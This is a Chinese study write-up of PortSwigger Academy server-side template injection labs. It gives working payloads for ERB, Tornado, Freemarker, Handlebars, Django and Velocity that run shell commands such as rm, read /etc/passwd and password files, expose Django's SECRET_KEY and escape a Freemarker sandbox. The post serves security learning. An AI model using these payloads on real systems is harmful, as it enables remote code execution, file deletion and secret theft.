Server-side template injection (SSTI)學習筆記

筆者burpsuite的在線安全學院的ssti學習筆記。文章質量不是很高,假如有看到的大佬輕噴,很多地方是Google翻譯的。這是burrpsuite學院的地址

閱讀文檔

文檔是最有用的信息來源,例如,一旦您知道正在使用基於Python的Mako模板引擎,實現遠程代碼執行就可以很簡單

<%
import os
x=os.popen('id').read()
%>
${x}

在無沙盒環境中,實現遠程代碼執行並將其用於讀取,編輯或刪除任意文件在許多常見模板引擎中都同樣簡單。

瞭解基本模板語法

Lab: Basic server-side template injection

基於ERB模板的ssti,要解決此問題,請查看ERB文檔以瞭解如何執行任意代碼,然後morale.txt從Carlos的主目錄中刪除該文件。

  1. 當查看有關第一個產品的詳細信息時,GET請求將使用message參數呈現"Unfortunately this product is out of stock"
    在這裏插入圖片描述
  2. 在ERB文檔中,發現該語法<%= someExpression %>用於評估表達式並將結果呈現在頁面上
  3. 使用ERB模板語法創建包含數學運算的測試payload,例如:<%= 7*7 %> ,然後url編碼payload再請求
    在這裏插入圖片描述
  4. Ruby文檔中的system()方法,該方法可用於執行任意操作系統命令
  5. …省略一些嘗試
  6. 構造payload以刪除Carlos的文件,如下所示:<%= system("rm /home/carlos/morale.txt") %>,url編碼一下就是 https://your-lab-id.web-security-academy.net/?message=<%25+system("rm+/home/carlos/morale.txt")+%25>
  7. 成功後,lab會有提示在這裏插入圖片描述

Lab: Basic server-side template injection (code context)

Tornado模板的ssti,要解決此問題,請查看Tornado文檔以發現如何執行任意代碼,然後morale.txt從Carlos的主目錄中刪除該文件。
username = wiener
password = peter
提示:請仔細查看“首選名稱”功能。

  1. 通過Burp代理流量時,登錄並在其中一篇博客文章上發表評論。
  2. 注意到,在“我的帳戶”頁面上,您可以選擇是否要網站使用您的全名,名字或暱稱。當您提交您的選擇,一個POST請求設置參數的值blog-post-author-display要麼user.name,user.first_name或user.nickname。當加載包含評論的頁面時,評論上方的名稱將根據該參數的當前值進行更新。在這裏插入圖片描述
    在這裏插入圖片描述
    在這裏插入圖片描述

在這裏插入圖片描述

  1. 在Burp中,轉到“代理”>“ HTTP歷史記錄”,找到設置此參數的請求POST /my-account/change-blog-post-author-display,然後將其發送到Burp Repeater。
  2. 研究Tornado文檔,發現模板表達式用雙花括號包圍,例如{{someExpression}}。在Burp Repeater中,請注意,您可以轉出表達式並按如下所示注入任意模板語法:blog-post-author-display=user.name}}{{7*7}}在這裏插入圖片描述
    https://www.tornadoweb.org/en/stable/template.html
    在這裏插入圖片描述
    在這裏插入圖片描述
  3. 重新加載包含您的測試註釋的頁面。請注意,用戶名現在Peter Wiener49}}顯示爲,表明代碼上下文中可能存在服務器端模板注入漏洞。回頭看評論區,發現被計算。在這裏插入圖片描述
  4. 在Tornado文檔中,確定用於執行任意Python的語法:{% somePython %}
  5. 學習Python文檔,發現通過導入os模塊,您可以使用該system()方法執行任意系統命令。結合這些知識來構造可刪除Carlos文件的有效負載:{% import os %}{{os.system('rm /home/carlos/morale.txt')
  6. 在Burp Repeater中,返回POST /my-account/change-blog-post-author-display。中斷表達式,然後將有效負載注入參數中,記住對URL進行如下編碼:blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('rm%20/home/carlos/morale.txt')
  7. 重新加載包含評論的頁面。
    在這裏插入圖片描述

瞭解安全隱患

除了提供有關如何創建和使用模板的基礎知識之外,文檔還可能提供某種“安全性”部分。本部分的名稱會有所不同,但通常會概述人們應避免使用模板進行的所有潛在危險操作。這可能是非常寶貴的資源,甚至可以充當備忘單,您在審覈期間應針對其尋找行爲以及如何利用它們。
即使沒有專門的“安全性”部分,如果特定的內置對象或功能可能會帶來安全風險,則文檔中幾乎總會出現某種警告。該警告可能未提供太多詳細信息,但至少應將此特定內置標記爲需要調查的內容。
例如,在ERB中,文檔顯示您可以列出所有目錄,然後按以下方式讀取任意文件:

<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>
Lab: Server-side template injection using documentation

Lab: Server-side template injection using documentation

確定模板引擎並使用文檔確定如何執行任意代碼,然後morale.txt從Carlos的主目錄中刪除該文件。
您可以使用以下憑據訪問自己的帳戶:
用戶名= content-manager
密碼= C0nt3ntM4n4g3r
提示:您應該僅使用文檔來嘗試解決此實驗室。但是,如果您真的陷入困境,可以嘗試使用@albinowax找到一個著名的漏洞,可以用來解決lab。

  1. 登錄,隨便編輯一個產品描述模板。這個模板引擎使用語法${someExpression}在頁面上呈現表達式的結果。更改一個表達式引用不存在的對象(例如)${foobar},然後預覽。輸出中的錯誤消息表明正在使用Freemarker模板引擎。在這裏插入圖片描述
  2. 研究Freemarker文檔,發現附錄包含“問題”部分,其中包含問題“我可以允許用戶上傳模板,並且對安全有何影響?”。答案描述了new()內置的危險。
    http://freemarker.foofun.cn/app_faq.html
    在這裏插入圖片描述
  3. 轉到文檔的“內置參考”部分,並找到的條目new()。此項進一步描述new()了安全問題,因爲它可用於創建實現該TemplateModel接口的任意Java對象。
  4. 加載TemplateModel該類的JavaDoc ,並查看“所有已知的實現類”列表。觀察到有一個名爲的類Execute,該類可用於執行任意的shell命令。嘗試構建payload,或者在我們的研究頁面上找到@albinowax的漏洞利用程序,並進行如下調整:<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("rm /home/carlos/morale.txt") }
  5. 刪除之前輸入的無效語法,然後payload插入模板。預覽模板就可以執行成功在這裏插入圖片描述

尋找已知漏洞

利用服務器端模板注入漏洞的另一個關鍵方面是善於在線查找其他資源。一旦能夠識別出正在使用的模板引擎,就應該瀏覽Web以查找其他人可能已經發現的任何漏洞。由於某些主要模板引擎的廣泛使用,有時可能會找到有據可查的利用程序,您可以對其進行調整以利用自己的目標網站。

Lab: Server-side template injection in an unknown language with a documented exploit

請注意,當您嘗試查看有關第一個產品的更多詳細信息時,GET請求將使用message參數呈現"Unfortunately this product is out of stock"在主頁上。
通過注入含有來自各種不同的模板語言,如模板語法一個fuzz 字符串${{<%[%'"}}%\,在message參數。注意,當您提交無效的語法時,輸出報錯,標識該網站正在使用Handlebars。在這裏插入圖片描述
搜索“ Handlebars服務器端模板注入”。找到發行的知名漏@Zombiehelp54。
可以看安全客翻譯的這篇文章

修改此漏洞利用程序,使其調用require(“child_process”).exec(“rm /home/carlos/morale.txt”)如下:

wrtz{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

在這裏插入圖片描述
對payload進行url編碼,並將其添加爲URL中message參數的值

https://your-lab-id.web-security-academy.net/?message=wrtz%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%7b%7b%2f%77%69%74%68%7d%7d

加載URL,解決lab。
在這裏插入圖片描述

探索

此時,您可能已經在使用文檔的過程中偶然發現了可行的漏洞利用方法。如果不是,則下一步是探索環境並嘗試發現您有權訪問的所有對象。
許多模板引擎公開某種“自我”或“環境”對象,其作用類似於命名空間,其中包含模板引擎支持的所有對象,方法和屬性。如果存在這樣的對象,則可以潛在地使用它來生成範圍內的對象列表。例如,在基於Java的模板語言中,有時您可以使用以下注入方式列出環境中的所有變量:

${T(java.lang.System).getenv()}

這可以爲創建可能感興趣的對象和方法進行進一步研究的清單的基礎。此外,對於Burp Suite Professional用戶,Intruder提供了內置的單詞列表,用於強制使用變量名。

開發人員提供的對象

重要的是要注意,網站將同時包含模板提供的內置對象和Web開發人員已提供的定製的,特定於站點的對象。您應該特別注意這些非標準對象,因爲它們極有可能包含敏感信息或可利用的方法。由於這些對象可能在同一網站中的不同模板之間變化,因此請注意,在找到一種利用它的方法之前,可能需要在每個不同模板的上下文中研究對象的行爲。
儘管服務器端模板注入有可能導致遠程代碼執行和服務器的完全接管,但實際上這並非總是可以實現的。但是,僅僅因爲您已排除了遠程執行代碼,並不一定意味着沒有其他可能的利用方式。您仍然可以利用服務器端模板注入漏洞來進行其他高嚴重性利用,例如目錄遍歷,以訪問敏感數據。

Lab: Server-side template injection with information disclosure via user-supplied objects

可以利用SSTI訪問敏感數據
username = content-manager
password = C0nt3ntM4n4g3r

  1. 登錄並編輯一個產品描述模板
  2. 使用之前的fuzz payload${{<%[%'"}}%\ ,輸出中的錯誤消息顯示使用Django框架。
    在這裏插入圖片描述
  3. 學習Django文檔,並注意debug可以調用內置模板標記以顯示調試信息。
    在模板中,刪除無效的語法,然後輸入以下語句以調用debug內置函數:{% debug %}
  4. 預覽模板,輸出將包含您可以在此模板內訪問的對象和屬性的列表。重要的是,請注意您可以訪問該settings對象。
  5. settings在Django文檔中 研究該對象,請注意它包含一個SECRET_KEY屬性,如果攻擊者知道該屬性,則會對安全性造成危險。
    在模板中,刪除{% debug %}語句並輸入表達式{{settings.SECRET_KEY}}
    預覽模板,輸出框架的密鑰。在這裏插入圖片描述

單擊“提交解決方案”按鈕,然後提交密鑰以解決實驗。

創建自定義攻擊

到目前爲止,我們主要研究了通過重用已記錄的漏洞利用或通過使用模板引擎中的衆所周知的漏洞來構造攻擊。但是,有時您需要構造一個自定義漏洞利用程序。例如,您可能會發現模板引擎在沙箱內執行模板,這可能使利用變得困難,甚至不可能。
在確定攻擊面之後,如果沒有明顯的方法來利用此漏洞,則應繼續使用傳統的審核技術,方法是檢查每個功能的可利用行爲。通過有條不紊地完成此過程,您有時有時可以構造出複雜的攻擊,甚至可以利用更安全的目標。

使用對象鏈構造自定義漏洞

如上所述,第一步是識別您有權訪問的對象和方法。一些對象可能會立即變得有趣起來。通過結合您自己的知識和文檔中提供的信息,您應該能夠彙總出要徹底研究的對象的清單。
在研究對象的文檔時,請特別注意這些對象可以訪問哪些方法以及它們返回哪些對象。通過深入研究文檔,您可以發現可以鏈接在一起的對象和方法的組合。將正確的對象和方法鏈接在一起有時可以使您獲得對危險功能和最初似乎無法到達的敏感數據的訪問權限。
例如,在基於Java的模板引擎Velocity中,您可以訪問ClassTool名爲的對象$class。通過研究文檔,您可以鏈接$class.inspect()方法和$class.type屬性以獲得對任意對象的引用。過去,已利用此方法在目標系統上執行shell命令,如下所示:$class.inspect("java.lang.Runtime").type.getRuntime().exec("bad-stuff-here")

Lab: Server-side template injection in a sandboxed environment

本實驗使用Freemarker模板引擎。由於沙箱實現不佳,因此容易受到SSTI的影響。要解決此問題,請突破沙箱以my_password.txt從Carlos的主目錄讀取文件。然後提交文件的內容。
用戶名= content-manager
密碼= C0nt3ntM4n4g3r
這個lab不太懂,payload是${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

使用開發人員提供的對象構造自定義漏洞

默認情況下,某些模板引擎在安全的,鎖定的環境中運行,以便儘可能減輕相關風險。儘管這使得利用此類模板進行遠程代碼執行變得困難,但是暴露於模板的開發人員創建的對象可以提供進一步的,較少受戰鬥攻擊的攻擊面。
但是,儘管通常爲內置模板提供大量文檔,但是幾乎可以肯定根本不記錄特定於站點的對象。因此,研究如何利用它們,將需要您手動調查網站的行爲以識別攻擊面並相應地構建自己的自定義利用。

Lab: Server-side template injection with a custom exploit

該lab容易受到SSTI的攻擊。要解決此問題,請創建一個自定義漏洞利用程序,以/.ssh/id_rsa從Carlos的主目錄中刪除文件。
用戶名= wiener
密碼= peter

  1. 通過Burp代理流量,登錄並在其中一個博客上發表評論。在這裏插入圖片描述

  2. 轉到“我的帳戶”頁面。請注意,如我們在先前的實驗中所見,設置首選名稱的功能易受ssti的影響。您還應該注意到您有權訪問該user對象。研究自定義頭像功能。注意,當您上傳無效的圖片(我這裏上傳一個txt)時,錯誤消息會顯示一種稱爲的方法user.setAvatar()。還要注意文件路徑/home/carlos/User.php。稍後將需要上傳有效圖片作爲頭像,並加載包含測試評論的頁面。在這裏插入圖片描述重新進入剛纔評論的blog,可以看到頭像變了
    在這裏插入圖片描述

  3. 在Burp Repeater中,打開POST更改您的首選名稱的請求,在這裏插入圖片描述
    然後再回到blog加載評論,再使用blog-post-author-display參數將任意文件設置爲頭像 user.setAvatar('/etc/passwd')在這裏插入圖片描述

重新加載blog查看報錯信息。注意到,錯誤消息表明您需要提供圖像MIME類型作爲第二個參數。在這裏插入圖片描述
提供此參數並再次查看註釋以刷新模板:user.setAvatar('/etc/passwd','image/jpg')
要讀取文件,請使用加載頭像GET /avatar?avatar=wiener。這裏用burp看響應,這將返回/etc/passwd文件的內容,確認有權訪問任意文件。在這裏插入圖片描述
重複此過程以讀取您先前記下的PHP文件user.setAvatar('/home/carlos/User.php','image/jpg'),讀出php源碼在這裏插入圖片描述
注意,在PHP源碼裏,可以訪問該gdprDelete()函數,該函數將刪除用戶的頭像。您可以結合這些知識來刪除Carlos的文件。
首先將目標文件設置爲您的頭像,然後查看註釋以執行模板:user.setAvatar('/home/carlos/.ssh/id_rsa','image/jpg')
調用該user.gdprDelete()方法,然後再次查看評論,解決lab。
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章